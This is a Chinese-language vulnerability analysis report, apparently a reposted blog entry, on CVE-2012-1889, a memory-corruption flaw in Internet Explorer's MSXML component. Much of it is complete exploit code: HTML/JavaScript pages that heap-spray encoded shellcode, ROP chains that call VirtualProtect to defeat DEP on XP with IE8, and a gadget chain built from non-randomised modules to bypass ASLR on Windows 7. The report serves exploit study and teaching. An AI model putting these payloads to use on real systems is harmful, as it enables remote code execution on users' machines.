漏洞分析报告-CVE-2012-1889(暴雷漏洞)

CVE-2012-1889漏洞分析及利用(暴雷漏洞)

软件名称Microsoft Internet Explorer

软件版本6.0\8.0

漏洞模块msxml3.dll

模块版本--

编译日期2008-04-14

操作系统Windows XP/7

漏洞编号CVE-2012-1889

危害等级:高危

漏洞类型:缓冲区溢出

威胁类型:远程

 

 

 

 

 

 

分析人:文佳峰

2018年5月25日

目录

1.    软件简介    2

2.    漏洞成因    2

3.    利用过程    2

4.    结语    9

5.    参考资料    9

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  1. 软件简介

Microsoft XML Core Services(MSXML)是一组用于用Jscript、VBScript、Microsoft开发工具编写构筑基于XML的Windows-native应用的服务。

  1. 漏洞成因

Microsoft XML Core Services 3.0、4.0、5.0和6.0版本中存在漏洞,该漏洞源于访问未初始化内存位置。远程攻击者可利用该漏洞借助特制的web站点,执行任意代码或导致拒绝服务(内存破坏)。

  1. 利用过程

3.1 Win xp + IE6环境

  1. 运行网络收集到的Poc1,代码如下:

    windows XP + IE6的环境下用windbg附加调试,程序运行并且崩溃,中断处如图:

    可知导致问题出现的数据来自于栈中。

  2. 运行网络收集到的Poc2进行测试,代码如下:

    结果如下:

    大致查看这段代码,可以发现构造了一个0x1000大小的数据块,这个数据块导致了缓冲区溢出,此时从这个地址(0c0c0c0c)这个地址取数据导致访问错误,查看网上的资料结合可知方法调用了definition函数,而MSDN中definition作为属性使用,作为属性的成员当做了方法使用因此触发了漏洞。

     

    由此可以确定使用堆喷射技术来构造攻击代码。

     

    申请大量的堆内存,用滑板指令(如:0x90)和ShellCode的"内存片"覆盖这些内存。

    查阅网络资料可知,JavaScript会从内存的低地址向搞地址分配内存,因此申请的内存超过200MB(200MB = 200 * 1024 * 1024 = 0xc800000 > 0x0C0C0C0C)后,0x0C0C0C0C将被包含有ShellCode和滑板指令的内存覆盖。只要0x0c0c0c0c命中任意一个滑板指令,都会滑向ShellCode中。

     

    <html>

    <head>

        <title>CVE 2012-1889 PoC Red_Magic_ver.7</title>

    </head>

    <body>

        <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>

        <script>

        // 1.  准备好Shellcode(unescape()是解码函数)

            var cShellcode = unescape(  "\uEC81\u0200\u0000\u5BEB\u6148\u6B63\u6465\u6220\u2079\u6552\u5F64\u614D\u6967\u0063\u6157\u6E72\u6E69\u0067\u7845\u7469\u7250\u636F\u7365\u0073\u654D\u7373\u6761\u4265\u786F\u0041\u7375\u7265\u3233\u642E\u6C6C\u4C00\u616F\u4C64\u6269\u6172\u7972\u0041\u6547\u5074\u6F72\u4163\u6464\u6572\u7373\uE800\u0000\u0000\u645A\u1D8B\u0030\u0000\u4B8B\u8B0C\u1C49\u098B\u698B\u8B08\u3C45\u4C8B\u7805\uCD03\u598B\u8B20\u1441\uDD03\u8B48\u8334\uF503\u7A8B\u39EC\u753E\u8BF3\uF07A\u7E39\u7504\u8BEB\uF47A\u7E39\u7508\u8BE3\uF77A\u7E39\u750B\u8BDB\u2459\uDD03\u8B66\u4304\u598B\u031C\u8BDD\u833C\uFD03\uF78B\u428D\u52DF\u5550\uD6FF\uD88B\u8D5A\uD442\u5052\uD3FF\uF88B\u8D5A\uC842\u5052\uFF57\u5AD6\uD88B\u428D\u52BC\u5550\uD6FF\u605A\u4A8D\u8DB4\uA072\u006A\u5651\u006A\uD3FF\u6A61\uFF00\u00D0");

            // 2.  制作一块数据

            // 2.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)

            var nSlideSize      = 1024*1024 / 2;     // 一个划板指令区的大小(1MB)

            var nMlcHadSize     = 32        / 2;     // 堆头部大小

            var nStrLenSize     = 4         / 2;     // 堆长度信息大小

            var nTerminatorSize = 2         / 2;     // 堆结尾符号大小

            var nScSize         = cShellcode.length; // Shellcode大小

            var nFillSize       = nSlideSize-nMlcHadSize-nStrLenSize-nScSize-nTerminatorSize;

            // 2.2 填充滑板指令,制作好一块填充数据

            var cFillData  = unescape("\u0C0C\u0C0C"); // 划板指令 0C0C   OR AL,0C

            var cSlideData = new Array();              // 申请一个数组对象用于保存划板数据

            while (cFillData.length <= nSlideSize)

                   cFillData += cFillData;

            cFillData = cFillData.substring(0, nFillSize);

            // 3.  填充200MB的内存区域(申请200块1MB大小的划板数据区),试图覆盖0x0C0C0C0C

            //     区域,每块划板数据均由 划板数据+Shellcode 组成,这样只要任意一块划板数据

            //     正好落在0x0C0C0C0C处,大量无用的"OR AL,0C"就会将执行流程引到划板数据区后面的Shellcode处,进而执行Shellcode。

            for (var i = 0; i < 200; i++)

                   cSlideData[i] = cFillData + cShellcode;

        // 4.  触发CVE 2012-1889漏洞

            // 4.1 获取名为15PB的XML对象,并将其保存到名为obj15PB实例中

            var obj15PB = document.getElementById('15PB').object;

            // 4.2 构建一个长度为0x1000-10=8182,起始内容为"\\15PB_Com"字节的数据

            var srcImgPath = unescape("\u0C0C\u0C0C");

            while (srcImgPath.length < 0x1000)

                srcImgPath += srcImgPath;

            srcImgPath = "\\\\15PB_Com" + srcImgPath;

            srcImgPath = srcImgPath.substr(0, 0x1000-10);

            // 4.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名

            var emtPic = document.createElement("img");

            emtPic.src = srcImgPath;

            emtPic.nameProp;

            // 4.4 定义对象obj15PB(触发溢出)

            obj15PB.definition(0);

        </script>

    </body>

    </html>

     

    测试结果成功。

    3.2 Win xp + IE8环境

    新的问题:IE8在xp环境下相比于IE7多了数据执行保护(DEP),所以将用到Ret2Libc技术,即利用ret指令连续的调用程序代码本身的内存地址,来达到调用VirtualProtect函数来关闭DEP。

     

    需要注意的几点:

  3. 溢出的数据需要修改为0c0c0c08h,0c0c0c0ch处数据需修改为ret指令,否则xchg eax,esp;ret指令执行后esp指向0c0c0c0ch处,数据仍然是0c0c0c0ch这时候还未关闭DEP触发保护会失败。
  4. Xp+IE8环境下内存块为0x40000,有0x02的块起始和0x21的块结尾,故构造数据块时要在头尾预留出这两个部分的大小。

    cBlock = cBlock.substring(2, nBlockSize-0x21);

  5. 因为有 dep 所以要使用精确堆喷射技术,栈溢出的数据的指向的位置需是我们构造的堆空间的第一条。
  6. 精确堆喷射的原理和公式 :

    原理:利用windbg查看指向地址的页首地址,利用公式计算偏移。偏移处放置Ret2Libc链,之后放ShellCode

    公式:(目标地址-页首地址)%1000/2

     

           

     

    攻击代码如下:

     

    <html>

    <head>

        <title>CVE-2012-1889 By:PineCone</title>

    </head>

    <body>

        <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>

        <script>

            // 1.  生成Padding

            var cPadding = unescape("\u0C0C\u0C0C");

            while (cPadding.length < 0x1000)

                cPadding += cPadding;

            cPadding = cPadding.substring(0, 0x5F6);

            // 2.  制作Ret2Libc

            var cRet2Libc = unescape(

                 // 0x0C0C0C0C | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]       <-ROP Step3

                 // 0x0C0C0C10 | 0x77BF398F : # POP EBP # RETN [msvcrt.dll]       <-ROP Step4 跳过4字节(0x0C0C0C18)

                 // 0x0C0C0C14 | 0x77C0A891 : # XCHG EAX, ESP # RETN [msvcrt.dll] <-ROP Step2

                 // 0x0C0C0C18 | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]       <-ROP Step5

                 // 0x0C0C0C1C | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]       <-ROP Step6

                 // 0x0C0C0C20 | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]       <-ROP Step7

                 // 0x0C0C0C24 | 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]       <-ROP Step1/Step8

                 // 

                 "\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]

                 "\u398F\u77BF" + // 0x77BF398F : # POP EBP # RETN [msvcrt.dll]

                 "\uA891\u77C0" + // 0x77C0A891 : # XCHG EAX, ESP # RETN [msvcrt.dll]

                 "\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]

                 "\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]

                 "\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]

                 "\u7A42\u77C1" + // 0x77C17A42 : # RETN (ROP NOP) [msvcrt.dll]<-ROP Entry

                 //

                 // 0x0C0C0C28 | 0x7C801AD4 : # Return to VirtualProtect  <-ROP Step9

                 // 0x0C0C0C2C | 0x0C0C0C40 : # Return Addr(Payload Addr) <-ROP Step10

                 // 0x0C0C0C30 | 0x0C0C0C40 : # lpAddress      = Payload Addr

                 // 0x0C0C0C34 | 0x00001000 : # dwSize         = 0x00001000

                 // 0x0C0C0C38 | 0x00000040 : # flNewProtect   = 0x00000040

                 // 0x0C0C0C3C | 0x77C2EFFC : # lpflOldProtect = 0x77C2EFFC

                 // 

                 "\u1AD4\u7C80" + // 0x7C801AD4 : # Return to VirtualProtect

                 "\u0C40\u0C0C" + // 0x0C0C0C40 : # Return Addr(Payload Addr)

                 "\u0C40\u0C0C" + // 0x0C0C0C40 : # lpAddress      = Payload Addr

                 "\u1000\u0000" + // 0x00001000 : # dwSize         = 0x00001000

                 "\u0040\u0000" + // 0x00000040 : # flNewProtect   = 0x00000040

                 "\uEFFC\u77C2" );// 0x77C2EFFC : # lpflOldProtect = 0x77C2EFFC

            // 3.  准备好Payload(unescape()是解码函数)

           var cPayload = unescape(

            "\u8360\u20EC\u49EB\u6547\u5074\u6F72\u4163\u6464"+

            "\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579"+

            "\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D"+

            "\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250"+

            "\u636F\u7365\u0073\u6950\u656E\u6F43\u656E\uE800"+

            "\u0000\u0000\u645B\u358B\u0030\u0000\u768B\u8B0C"+

            "\u1C76\u368B\u568B\u5308\uE852\u0014\u0000\uF08B"+

            "\u4B8D\u52C0\u5251\uD0FF\u535A\u5056\uE852\u006E"+

            "\u0000\u8B55\u83EC\u0CEC\u8B52\u0855\u728B\u8D3C"+

            "\u3234\u768B\u8D78\u3234\u7E8B\u8D1C\u3A3C\u7D89"+

            "\u8BFC\u207E\u3C8D\u893A\uF87D\u7E8B\u8D24\u3A3C"+

            "\u7D89\u33F4\uEBC0\u4001\u758B\u8BF8\u8634\u558B"+

            "\u8D08\u3234\u5D8B\u8D0C\uB27B\u0EB9\u0000\uFC00"+

            "\uA6F3\uE375\u758B\u33F4\u66FF\u3C8B\u8B46\uFC55"+

            "\u348B\u8BBA\u0855\u048D\u5A32\uE58B\uC25D\u0008"+

            "\u8B55\u83EC\u08EC\u5D8B\u8D14\uCF4B\u006A\u006A"+

            "\uFF51\u0C55\u4B8D\u51DA\uFF50\u1055\u4589\u8DFC"+

            "\uE64B\uFF51\u0875\u55FF\u8910\uF845\u4B8D\u6AF2"+

            "\u5100\u6A51\uFF00\uFC55\u006A\u55FF\u8BF8\u5DE5"+

            "\u10C2\u0000"

        );

            // 4.  准备好FillData

            // 4.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)

            var nSlideSize = 0x1000;           // 一个滑板指令块的大小(4KB)

            var nPadSize   = cPadding.length;  // Padding大小

            var nR2LSize   = cRet2Libc.length; // Ret2Libc大小

            var nPySize    = cPayload.length;  // Shellcode大小

            var nFillSize  = nSlideSize-nPadSize-nR2LSize-nPySize;

            // 4.2 制作好一块填充数据

            var cFillData  = unescape("\u0C0C\u0C0C");

            while (cFillData.length < nSlideSize)

                cFillData += cFillData;

            cFillData = cFillData.substring(0, nFillSize);

            // 5.  构建滑板指令数据块

            var nBlockSize = 0x40000;  // 256KB

            var cBlock     = cPadding + cRet2Libc + cPayload + cFillData;

            while (cBlock.length < nBlockSize)

                cBlock += cBlock;

            cBlock = cBlock.substring(2, nBlockSize-0x21);

            // 6.  填充200MB的内存区域(申请800块256KB大小的滑板数据区),试图覆盖0x0C0C0C0C

            //     区域,每块滑板数据均由 滑板数据+Shellcode 组成,这样只要任意一块滑板数据

            //     正好落在0x0C0C0C0C处,大量无用的"OR AL,0C"就会将执行流程引到滑板数据区

            //     后面的Shellcode处,进而执行Shellcode。

            var cSlideData = new Array();

            for (var i = 0; i < 800; i++)

                cSlideData[i] = cBlock.substr(0, cBlock.length);

            // 7.  触发CVE 2012-1889漏洞

            // 7.1 获取名为15PB的XML对象,并将其保存到名为obj15PB实例中

            var obj15PB = document.getElementById('15PB').object;

            // 7.2 构建一个长度为0x1000-10=8182,起始内容为"\\15PB"字节的数据

            var srcImgPath = unescape("\u0C0C\u0C08");

            while (srcImgPath.length < 0x1000)

                srcImgPath += srcImgPath;

            srcImgPath = "\\\\15PB_Com" + srcImgPath;

            srcImgPath = srcImgPath.substr(0, 0x1000-10);

            // 7.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名

            var emtPic = document.createElement("img");

            emtPic.src = srcImgPath;

            emtPic.nameProp;

            // 7.4 定义对象obj15PB(触发溢出)

            obj15PB.definition(0);

        </script>

    </body>

    </html>

    3.3 Win7 + IE8环境

    新的问题:因为ASLR的引入,所有的API的地址都随机化了,栈的骑士地址也随机化了,因此无法再轻松的使用Ret2Libc的方式来攻破DEP。

    在这里使用未开启ASLR的模块的IAT来稳定的间接获取目标API,但由于是使用了二级指针的方式来使用(IAT表里存的是函数指针),所以我们利用 JMP [eax]指令来完成对指定函数的调用。

     

    ROP的简介:ROP即返回导向编程,原理简略来说就是在内存中寻找诸多有意义的指令序列,并通过ret将其连接起来,构成一个特定的攻击逻辑,因此理论上来讲Ret2Libc是ROP的一个子集。

     

     

     

    构造如下:

    "\u1123\u7C34" + // 0x7C341123 : # POP EDI # RETN

                 "\u1555\u7C34" + // 0x7C341555 : # RETN (ROP NOP)  

                 "\u1920\u7C34" + // 0x7C341920 : # POP ESI # RETN 

    //由此处转到virtualProtect函数

                 "\u5506\u7C36" + // 0x7C365506 : # JMP [EAX]

    //又此处跳过eax在栈中的位置到再跳到push esp #RETN

                 "\uBB22\u7C34" + // 0x7C34BB22 : # POP EBP # RETN

                 "\uBB22\u7C34" + // 0x7C34BB22 : # POP EBP # RETN 

                 "\u3866\u7C34" + // 0x7C343866 : # POP EBX # RETN

                 "\u1000\u0000" + // 0x00001000 : # dwSize     = 0x1000

                 "\u3EE0\u7C34" + // 0x7C343EE0 : # POP EDX # RETN

                 "\u0040\u0000" + // 0x00000040 : # NewProtect = 0x40

                 "\u7225\u7C34" + // 0x7C347225 : # POP ECX # RETN

                 "\uCFFC\u7C38" + // 0x7C38CFFC : # &Writable location

                 "\u66FF\u7C37" + // 0x7C3766FF : # POP EAX # RETN

                 "\uA151\u7C37" + // 0x7C37A151 : # VirtualProtect Addr

                 "\u8C81\u7C37" + // 0x7C378C81 : # PUSHAD # ADD AL,0EF # RETN

    //防止shellcode的头四个字节被当做地址

                 "\u5C30\u7C34" );// 0x7C345C30 : # # PUSH ESP # RETN

     

     

     

     

     

    1. 结语

      暴雷漏洞的利用对于栈的变化和操作的理解要求很高,是对栈操作和和理解的绝佳练习。

    2. 参考资料

    王清《0day 安全:软件漏洞分析技术(第 2 版)》2011-06

猜你喜欢

转载自www.cnblogs.com/Unconscious/p/9112202.html
今日推荐